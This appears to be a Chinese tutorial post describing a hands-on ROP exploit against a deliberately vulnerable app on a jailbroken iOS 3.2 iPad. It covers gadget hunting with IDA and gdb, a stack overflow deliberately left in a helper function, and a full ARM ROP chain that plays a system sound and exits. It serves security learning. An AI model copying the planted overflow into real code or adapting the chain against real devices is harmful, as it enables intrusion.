近来看了些ROP (Return-Oriented-Program)的文章。这种主要用于突破NX的shellcode编写方式很早就以return-to-lib为人熟知,近两年ROP的研究似乎开始倾向非x86非windows系统(比如路由器,或其他RISC(ARM)下的*nix系统)。刚好最近手头有台IPAD,就打算在它上面写个简单的ROP。在网上找了半天,除了jailbreakme2.0的代码包外,就没有找到其他的POC可供参考了。以前没有接触过Mac,这个代码包着实不知道如何下手分析(看Readme介绍好像是make过后会生成利用pdf解析漏洞的pdf文件,但jailbreakme并不是功能简单的POC,它要下载安装cydia,作为分析源并不理想,所以代码下载下来现在也没仔细读过)。
    最后想还是依托自己熟悉的那点的知识搞个简单的例子上手吧。首先是操作环境的创建,除了IPAD和电脑还需要一个无线路由。IPAD刚刚越过狱(IOS 3.2 ,虽然现在都4.2了,不过既然软件都能运行,何必升级呢,升了级没准再多些内存保护措施)。既然手头没有safari的0day,jailbreakme也分析不明白,就只能自己写个漏洞程序供利用了。在windows下就是一个包含如下语句的vul.c

代码:

strcpy(buf,payload);


    但在IPAD下面创建一个类似的程序就得折腾一番了。想写IPAD程序需要MacOSX操作系统和Xcode开发环境。在PC上把这两个东西装好绝对是体力活,那几天我把各种版本的Mac OSX(10.6.X)在win7的Vmware7的虚拟机下来来回回装了不知道多少遍。直到安装成功时,我已经忘了我究竟装的是哪个论坛推出的版本了(光盘影像文件叫iAntares_v3.iso对应MaxOSX 10.6.5,Xcode为3.2.4,虽然仅支持IOS3.2和IOS4.0,但足以了)。整个过程基本上是按照各种教程安装下来的,如果你也打算搭建个这样的环境,其中有几点需要特别注意: 
1.各种版本的教程连同他们的组合都要尝试,在PC下装MacOSX哪一个教程都不是100%成功(和硬件相关性较大)。
2.建议用虚拟机,不然经不起折腾。Vmware7是很好的选择,因为它支持dmg的映像文件,不必把dmg用UltraISO转换为iso(Xcode的安装映像很多时候就是dmg格式)。
3.安装前,鼠标和键盘的驱动选项一定要调整。安装完毕后也许不能正常启动(启动后定格在灰色苹果处或黑屏),将启动光盘映像换成darwin300.iso多半就可以了。 
    安装完毕就可以用Xcode开始写代码了(还需要突破Xcode自身的代码签名过程,否则就需要 $99/年 的证书,因此还需要参考教程配置Xcode和操作系统环境)。“用XCode 3.2.5为越狱的iPhone 免证书开发调试”,这篇文章参考价值很大,参看时需要改动个别版本号。至于IPAD的helloword,就更好找了。自此开发的环境就设定好了,连线就能在Xcode里面编译并传送程序到IPAD里面了。
 






 
    在触摸press时的事件处理函数如下
代码:
- (IBAction)btnClicked:(id) sender {
         foo();
         UIAlertView *alert=[[UIAlertView allocinitWithTitle:@"Hello World!"
                                                                  message:@"sound"                   
                                                                  delegate:self
                                                      cancelButtonTitle:@"OK"
                                                      otherButtonTitles:nil];
         [alert show];
         [alert release];
}


其中foo函数就是触发漏洞的函数了。它的代码很简单
代码:
[COLOR=#aa0d91]void foo(){
         char buf[4]; 
         fulfill(buf);   

    用fulfill函数来填充这个缓冲区就能够实现最基本的返回点覆盖了。这里需要注意以下几点arm下的IOS与x86的MacOSX的区别:
1. NX/XN bit
x86的MacOSX使用NX位(也就是Intel的XD位),arm的IOS使用XN(execute never)位。对于MacOSX,仅对栈设置了该位,堆仍然是可执行的(RWX)。IOS下则对所有页面使用了XN位,任何页面都不能具有RWX属性(IOS就是一个单任务的桌面系统,不需要JAVA和FLASH,因此能够做到这一点)。
2. ASLR
MacOSX对加载的库文件(除了dyld)进行地址随机化,堆栈和可执行映像都没有进行随机。IOS连库文件都没有进行随机化,也就是说针对一个特定型号的固件,堆栈,可执行映像以及库的地址都是可以预测的。
3. CodeSign
在没有越狱的IOS上,二进制文件和库都是被签过名的,execve函数执行前会首先执行dyld中的loadCodeSignature函数,这是与MacOSX的区别。但鉴于我的IPAD已近越过狱了,且并不进行什么涉及execve的操作,这部分就不关心了。
    更为详细的叙述,可以参看"Fun and Games with Mac OS X and IPhone Payloads"。作者就是曾在Pwn2Own上攻破Safari和IE8的Charlie Miller。
    直接注入代码很明显是不可能了,ROP大显伸手的时候到了。ROP的基本思想用x86更容易解释一些:当覆盖返回值或其他方式控制了栈时,返回时我们让eip指向类似如下的指令序列:XXX; ret这样就执行了一个XXX(也许就是简单的改变一个寄存器的值)操作,然后就ret了。ret会从栈上取出下一条指令的地址,然后跳转过去,同样这次我们选取的指令仍为XXX;ret的格式,每次使用的指令最后都以ret结尾,利用栈来控制指令执行流程,这就是ROP了。
    而现在我们面对的是RISC的ARM指令,就稍微有些区别了。ARM体系下,包含r0-r13,sp,lr,pc等多个寄存器,没有ret指令,但指令指针PC是我们可以直接操作的,每条指令都是四字节(thumb指令为两字节,thumb-2里面四字节和两字节指令混合)。函数的参数传递规则是,前四个参数使用r0-r3传递,更多的参数才使用栈。通常函数返回使用 pop {r7,pc}或bx lr等方式(bx,b类似jmp为跳转指令,但bx可以指定跳转区域究竟为thumb还是arm指令)。
我们的目标是溢出后执行下面的操作
代码:
 AudioServicesPlaySystemSound(0x3ea);
代码:
_exit;

    也就是让该程序溢出后发出提示音后退出。接下来就需要在我们的程序空间搜索所需要的指令地址,填充栈,构成ROP了。这部分我用的方法很低效的(实在没有找到什么好的工具,以前仅用msf搜索过的跳板指令)。比如我需要将r0赋值为0x3ea作为函数参数,用了__dyld_stub_binder中的指令序列:
代码:
mov r12,r0
代码:
pop {r0,r1,r2,r3,r7,lr} ;从栈中取值给r0赋值
add sp,sp,#8
bx r12

 
    为了搜索这条指令,我把dyld库从IPAD中复制到主机(使用winscp,需要在IPAD上安装openssh),用IDA反汇编分析。但IDA似乎没有类似OD那种即时汇编指令为机器码的功能。因此只能查ARM手册自己将需要的汇编代码转为机器码字节了(这样才能搜索)。我把需要的汇编代码内联汇编写到first_ipad_view程序(也就是刚刚编写的存在漏洞的程序)中,然后用gdb(使用cydia安装到IPAD,一定要更新到最新版本6.3.50,否则指令解析有问题。然后用putty通过ssh连接到IPAD,这就是开篇无线路由器的用意。我本想用Xcode带的调试器调程序,但却总是提示Program not being run,另外用gdbserver+IDA或IPhone_server+IDA也一直没能连接成功,所以只能ssh+gdb调了。记得要用cydia安装cmd以及其相关的各种指令包,比如ps命令)察看那些代码的机器码(很麻烦很笨~我也没办法,哪位有快速获得ARM指令机器码的方法麻烦告诉我吧~)。找到机器码序列后,在IDA中用Alt+B搜索,定位位置后再到gdb中察看改指令的地址。比如上述指令的地址就是0x30cc05d0
    通过IDA分析只能搜索dyld库的指令,还有其他可执行映像中的指令搜索其实可以用gdb直接搜索。如下gdb代码能搜索0x30247bc80x30247e14地址中的机器码为0x800fe8bd的ARM指令。
代码:
set $count=0x30247bc8
代码:
while($count<0x30247e14)
if(*((unsigned int *)($count))==0x800fe8bd)
x/x ($count)
end
set $count=$count+4
end

    过了很久,终于搜集到了需要的指令地址了。这里省略掉中间繁荣复杂纠结的调试和指令搜索过程,直接跳到结论部分。用于填充缓冲区的fulfill函数如下
代码:
void fulfill(char *buf){
         unsigned int shellcode[32];
         shellcode[0] =0x11112222;
         shellcode[1] =0x33334444;//r7
         shellcode[2] =0x30c1a858;//pc pop {r4,r5,r8,r9,pc}  位于OSAtomicAdd64Barrier
         shellcode[3] =0x00002cc5;//r4
         shellcode[4] =0x00122690;//r5
         shellcode[5] =0x30794b8d;//r8->r0->r12->AudioServicesPlaySystemSound
         shellcode[6] =0x22443322;//r9
         shellcode[7] =0x30c1a850;//pc mov r0,r8;mov r1,r9;pop {r4,r5,r8,r9,pc} 
         shellcode[8] =0x000003ea;//r4
         shellcode[9] =0x00122690;//r5
         shellcode[10]=0x00002cc5;//r8
         shellcode[11]=0x34474dd7;//r9
         shellcode[12]=0x30cc05d0;//pc mov r12,r0;pop {r0,r1,r2,r3,r7,lr};add sp,sp,#8;bx r12
         shellcode[13]=0x000003ea;//r0
         shellcode[14]=0x00002cc5;//r1
         shellcode[15]=0x0013a8d0;//r2
         shellcode[16]=0x0013a8d0;//r3
         shellcode[17]=0x2fffeb88;//r7
         shellcode[18]=0x30c3d170;//lr _exit  
         memcpy(buf,shellcode,32*4);
}  

    
    在看这些指令前,先解释一下为什么不是在foo中直接使用memcpy来覆盖buf。因为Xcode使用的memcpy和strcpy都会因此编译为memcpy_chk$stub和strcpy_chk$stub,也就是包含边界检查的函数版本。那样溢出时不会发生的(边界检查越界就会终止运行)。使用fulfill函数中的memcpy“看不到”foo函数中的buf大小,没办法进行check,就会使用_dyld_memcpy和_dyld_strcpy原始版本,因此能够产生可利用的漏洞。该过程和Miller的文章中实验类似,但他当时就直接在foo中进行了覆盖,估计他的Xcode版本较低没有这样的内存保护机制。接下来就解释一下ROP的工作过程了。用putty连接到IPAD的ssh:
root# ps aux
USER     PID %CPU %MEM      VSZ    RSS   TT  STAT STARTED      TIME COMMAND
mobile     817   0.0  3.8   349472   9492   ??  Ss   10:18PM   0:00.27 /var/mobile/Applications/5E16589D-24B9-413D-B3F3-608F02FA5F7E/first_ipad_view.app/first_ipad_view
root#gdb
GNU gdb 6.3.50.20050815-cvs (Sat Sep 19 05:37:57 UTC 2009)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "--host=arm-apple-darwin9 --target=".
(gdb) attach 817
Attaching to process 817.
Reading symbols for shared libraries . done
Reading symbols for shared libraries warning: Could not find object file 
............................................................. done
0x30c16668 in mach_msg_trap ()
(gdb)disassemble foo
0x00002864 <foo+0>:     push    {r7, lr}
0x00002866 <foo+2>:     add     r7, sp, #0
0x00002868 <foo+4>:     sub     sp, #4
0x0000286a <foo+6>:     mov     r3, sp
0x0000286c <foo+8>:     mov     r0, r3
0x0000286e <foo+10>:    bl      0x277c <fulfill>
0x00002872 <foo+14>:    sub.w   sp, r7, #0      ; 0x0
0x00002876 <foo+18>:    pop     {r7, pc}
执行到<foo+18>后查看堆栈
(gdb) x/20x $sp
0x2fffeb60:     0x33334444      0x30c1a858      0x00002cc5      0x00122690
0x2fffeb70:     0x30794b8d      0x22443322      0x30c1a850      0x000003ea
0x2fffeb80:     0x00122690      0x00002cc5      0x34474dd7      0x30cc05d0
0x2fffeb90:     0x000003ea      0x00002cc5      0x0013a8d0      0x0013a8d0
0x2fffeba0:     0x2fffeb88      0x30c3d170      0x0000345c      0x3852c7ec
    Shellcode[0]用于覆盖buf,shellcode[1]覆盖了栈中的r7(类似ebp)。0x2876就是foo返回的地方。特别需要解释的是shellcode[5] =0x30794b8d,这个数据会覆盖r8,然后赋值给r0,最后传给r12,然后通过bx r12转过去,这个地址对应AudioServicesPlaySystemSound,该函数实际地址为0x30794b8c,但直接填写该地址却总是产生SIGSYS信号(非法指令执行)。原因就是该函数为thumb指令,因此跳转时必须要把指令地址的最低位设置为1(bx 通过这一位来区分指令集),所以函数地址就加了一。察看AudioServicesPlaySystemSound函数开始字节为
(gdb) disassemble AudioServicesPlaySystemSound
Dump of assembler code for function AudioServicesPlaySystemSound:
0x30794b8c <AudioServicesPlaySystemSound+0>:    push    {r4, r7, lr}
    可判断其返回时因该是跳转到lr,所以要通过pop将_exit地址存到lr中,Audio函数执行后就会转到_exit中。自此,一个没有字符限制的IPhoneOS下的简单的栈溢出的ROP就完成了。复杂操作(网络通信传送文件等)就需要更多指令序列来完成了。ROP本身并不难领会,但为了实现这个过程,环境和工具的取得也很令人头疼~本文充其量也就是抛砖引玉,希望哪天能看到有人发个jailbreakme的分析~